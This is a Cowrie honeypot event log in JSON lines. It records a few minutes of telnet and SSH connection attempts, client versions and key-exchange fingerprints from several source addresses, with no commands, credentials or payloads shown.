{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0996465fe378","protocol":"telnet","message":"New connection: 188.208.141.113:45400 (10.17.0.5:23) [session: 0996465fe378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:50.594655Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ad88fbd8d2","protocol":"telnet","message":"New connection: 188.208.141.113:49802 (10.17.0.5:23) [session: 78ad88fbd8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:51.022768Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49812,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f7fb3f9a8bb","protocol":"telnet","message":"New connection: 188.208.141.113:49812 (10.17.0.5:23) [session: 5f7fb3f9a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:54.211551Z"}
{"eventid":"cowrie.session.closed","duration":4.374906778335571,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:54.969425Z","src_ip":"188.208.141.113","session":"0996465fe378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e1d1e5d24f","protocol":"telnet","message":"New connection: 188.208.141.113:49820 (10.17.0.5:23) [session: f1e1d1e5d24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:55.032528Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":50570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce76da29ac05","protocol":"telnet","message":"New connection: 69.65.3.189:50570 (10.17.0.5:23) [session: ce76da29ac05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:59.777278Z"}
{"eventid":"cowrie.session.closed","duration":31.379940271377563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:00.377404Z","src_ip":"103.208.219.59","session":"0539aa97f3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33552,"dst_ip":"10.17.0.5","dst_port":23,"session":"094eed7c81b1","protocol":"telnet","message":"New connection: 206.189.32.23:33552 (10.17.0.5:23) [session: 094eed7c81b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:03.701172Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40320,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa24a51d427","protocol":"telnet","message":"New connection: 103.208.219.59:40320 (10.17.0.5:23) [session: baa24a51d427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:04.092904Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45626,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2ada6464f7","protocol":"telnet","message":"New connection: 188.208.141.113:45626 (10.17.0.5:23) [session: 6a2ada6464f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:08.695522Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.181","src_port":36985,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d815593c907","protocol":"ssh","message":"New connection: 91.231.89.181:36985 (10.17.0.5:22) [session: 6d815593c907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:10.800240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:10.885726Z","src_ip":"91.231.89.181","session":"6d815593c907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:11.338415Z","src_ip":"91.231.89.181","session":"6d815593c907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.246","src_port":41121,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace4e35c3115","protocol":"ssh","message":"New connection: 91.231.89.246:41121 (10.17.0.5:22) [session: ace4e35c3115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:12.079868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:12.084952Z","src_ip":"91.231.89.246","session":"ace4e35c3115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:12.158024Z","src_ip":"91.231.89.181","session":"6d815593c907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:12.162901Z","src_ip":"91.231.89.246","session":"ace4e35c3115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:12.974255Z","src_ip":"91.231.89.246","session":"ace4e35c3115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55012,"dst_ip":"10.17.0.5","dst_port":23,"session":"67087184b242","protocol":"telnet","message":"New connection: 188.208.141.113:55012 (10.17.0.5:23) [session: 67087184b242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:15.866548Z"}
{"eventid":"cowrie.session.closed","duration":41.58522701263428,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:19.815691Z","src_ip":"188.208.141.113","session":"1581748c1408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.46793532371521,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:20.759136Z","src_ip":"188.208.141.113","session":"cbf0cc7dfd1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.187.189.97","src_port":41973,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff47b40ec30","protocol":"telnet","message":"New connection: 75.187.189.97:41973 (10.17.0.5:23) [session: 7ff47b40ec30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:23.440856Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.187.189.97","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"a196d85869e7","protocol":"telnet","message":"New connection: 75.187.189.97:42126 (10.17.0.5:23) [session: a196d85869e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:25.649421Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34492,"dst_ip":"10.17.0.5","dst_port":23,"session":"581f7dc2425c","protocol":"telnet","message":"New connection: 188.208.141.113:34492 (10.17.0.5:23) [session: 581f7dc2425c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:25.957732Z"}
{"eventid":"cowrie.session.closed","duration":3.844989776611328,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:29.802614Z","src_ip":"188.208.141.113","session":"581f7dc2425c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246959447860718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:35.340003Z","src_ip":"103.208.219.59","session":"baa24a51d427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.074769020080566,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:36.851926Z","src_ip":"69.65.3.189","session":"ce76da29ac05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb50edd78eab","protocol":"telnet","message":"New connection: 188.208.141.113:60002 (10.17.0.5:23) [session: cb50edd78eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:38.927478Z"}
{"eventid":"cowrie.session.closed","duration":49.62610626220703,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:40.648787Z","src_ip":"188.208.141.113","session":"78ad88fbd8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.73869323730469,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:40.950111Z","src_ip":"188.208.141.113","session":"5f7fb3f9a8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.31105041503906,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:41.343453Z","src_ip":"188.208.141.113","session":"f1e1d1e5d24f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":42092,"dst_ip":"10.17.0.5","dst_port":23,"session":"516614b00f9f","protocol":"telnet","message":"New connection: 103.208.219.59:42092 (10.17.0.5:23) [session: 516614b00f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:51.062144Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81520127636","protocol":"telnet","message":"New connection: 188.208.141.113:38366 (10.17.0.5:23) [session: b81520127636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:51.852903Z"}
{"eventid":"cowrie.session.closed","duration":45.035239696502686,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:53.730673Z","src_ip":"188.208.141.113","session":"6a2ada6464f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38372,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb17d1aa516d","protocol":"telnet","message":"New connection: 188.208.141.113:38372 (10.17.0.5:23) [session: eb17d1aa516d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:55.642789Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":51134,"dst_ip":"10.17.0.5","dst_port":23,"session":"93dc5ffae7cd","protocol":"telnet","message":"New connection: 103.208.219.59:51134 (10.17.0.5:23) [session: 93dc5ffae7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:57.264169Z"}
{"eventid":"cowrie.session.closed","duration":42.20804476737976,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:06:58.074470Z","src_ip":"188.208.141.113","session":"67087184b242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c059df72a76","protocol":"telnet","message":"New connection: 188.208.141.113:50014 (10.17.0.5:23) [session: 5c059df72a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:01.072645Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50022,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d6ae39c412","protocol":"telnet","message":"New connection: 188.208.141.113:50022 (10.17.0.5:23) [session: 54d6ae39c412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:01.771639Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd0936dd50e","protocol":"telnet","message":"New connection: 103.208.219.59:33078 (10.17.0.5:23) [session: 0dd0936dd50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:08.668246Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52708,"dst_ip":"10.17.0.5","dst_port":23,"session":"f709521bbb9d","protocol":"telnet","message":"New connection: 188.208.141.113:52708 (10.17.0.5:23) [session: f709521bbb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:18.384851Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdaae14544c7","protocol":"telnet","message":"New connection: 188.208.141.113:57222 (10.17.0.5:23) [session: bdaae14544c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:21.825172Z"}
{"eventid":"cowrie.session.closed","duration":31.245970964431763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:22.308014Z","src_ip":"103.208.219.59","session":"516614b00f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.354696273803711,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:25.739418Z","src_ip":"188.208.141.113","session":"f709521bbb9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.214.3.168","src_port":25614,"dst_ip":"159.203.135.109","dst_port":23,"session":"301088d55823","protocol":"telnet","message":"New connection: 41.214.3.168:25614 (159.203.135.109:23) [session: 301088d55823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:27.331372Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c81604956ee7","protocol":"telnet","message":"New connection: 188.208.141.113:57228 (10.17.0.5:23) [session: c81604956ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:28.226378Z"}
{"eventid":"cowrie.session.closed","duration":31.06890106201172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:28.332945Z","src_ip":"103.208.219.59","session":"93dc5ffae7cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.59808373451233,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:28.525481Z","src_ip":"188.208.141.113","session":"cb50edd78eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a85e8dbcf27","protocol":"telnet","message":"New connection: 188.208.141.113:40086 (10.17.0.5:23) [session: 1a85e8dbcf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:33.898504Z"}
{"eventid":"cowrie.session.closed","duration":30.49410581588745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:39.162192Z","src_ip":"103.208.219.59","session":"0dd0936dd50e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.40780448913574,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:39.260588Z","src_ip":"188.208.141.113","session":"b81520127636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.849225997924805,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:39.491922Z","src_ip":"188.208.141.113","session":"eb17d1aa516d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.885236740112305,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:40.216489Z","src_ip":"41.214.3.168","session":"301088d55823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33422,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c55d30b7bc","protocol":"telnet","message":"New connection: 188.208.141.113:33422 (10.17.0.5:23) [session: 57c55d30b7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:40.641374Z"}
{"eventid":"cowrie.session.closed","duration":44.37700033187866,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:46.148534Z","src_ip":"188.208.141.113","session":"54d6ae39c412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38484,"dst_ip":"10.17.0.5","dst_port":23,"session":"e72533660d22","protocol":"telnet","message":"New connection: 188.208.141.113:38484 (10.17.0.5:23) [session: e72533660d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:51.565225Z"}
{"eventid":"cowrie.session.closed","duration":50.785467863082886,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:51.858009Z","src_ip":"188.208.141.113","session":"5c059df72a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38496,"dst_ip":"10.17.0.5","dst_port":23,"session":"70992343bc6e","protocol":"telnet","message":"New connection: 188.208.141.113:38496 (10.17.0.5:23) [session: 70992343bc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:53.070462Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40024,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1c33243cd6","protocol":"telnet","message":"New connection: 103.208.219.59:40024 (10.17.0.5:23) [session: 0b1c33243cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:54.985292Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":42184,"dst_ip":"10.17.0.5","dst_port":23,"session":"be47153a9bd6","protocol":"telnet","message":"New connection: 103.208.219.59:42184 (10.17.0.5:23) [session: be47153a9bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:59.354800Z"}
{"eventid":"cowrie.session.closed","duration":6.653874635696411,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:07:59.724230Z","src_ip":"188.208.141.113","session":"70992343bc6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.33738613128662,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:02.162451Z","src_ip":"188.208.141.113","session":"bdaae14544c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133037567139,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:03.702316Z","src_ip":"206.189.32.23","session":"094eed7c81b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98904466629028,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:04.215297Z","src_ip":"188.208.141.113","session":"c81604956ee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34784,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7d344ef9e3","protocol":"telnet","message":"New connection: 188.208.141.113:34784 (10.17.0.5:23) [session: cd7d344ef9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:04.823340Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34788,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb11b60bc252","protocol":"telnet","message":"New connection: 188.208.141.113:34788 (10.17.0.5:23) [session: eb11b60bc252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:05.120974Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34798,"dst_ip":"10.17.0.5","dst_port":23,"session":"16eea4ded48c","protocol":"telnet","message":"New connection: 188.208.141.113:34798 (10.17.0.5:23) [session: 16eea4ded48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:08.339263Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34804,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68896478c8e","protocol":"telnet","message":"New connection: 188.208.141.113:34804 (10.17.0.5:23) [session: e68896478c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:08.807106Z"}
{"eventid":"cowrie.session.closed","duration":5.54372501373291,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:10.664542Z","src_ip":"188.208.141.113","session":"eb11b60bc252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.374562740325928,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:14.713731Z","src_ip":"188.208.141.113","session":"16eea4ded48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.656134605407715,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:15.554490Z","src_ip":"188.208.141.113","session":"1a85e8dbcf27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.17026925086975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:15.811532Z","src_ip":"188.208.141.113","session":"57c55d30b7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018470287323,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:23.442569Z","src_ip":"75.187.189.97","session":"7ff47b40ec30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"405f94fb1087","protocol":"telnet","message":"New connection: 188.208.141.113:33666 (10.17.0.5:23) [session: 405f94fb1087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:23.941010Z"}
{"eventid":"cowrie.session.closed","duration":120.00111556053162,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:08:25.650431Z","src_ip":"75.187.189.97","session":"a196d85869e7","protocol":"telnet"}
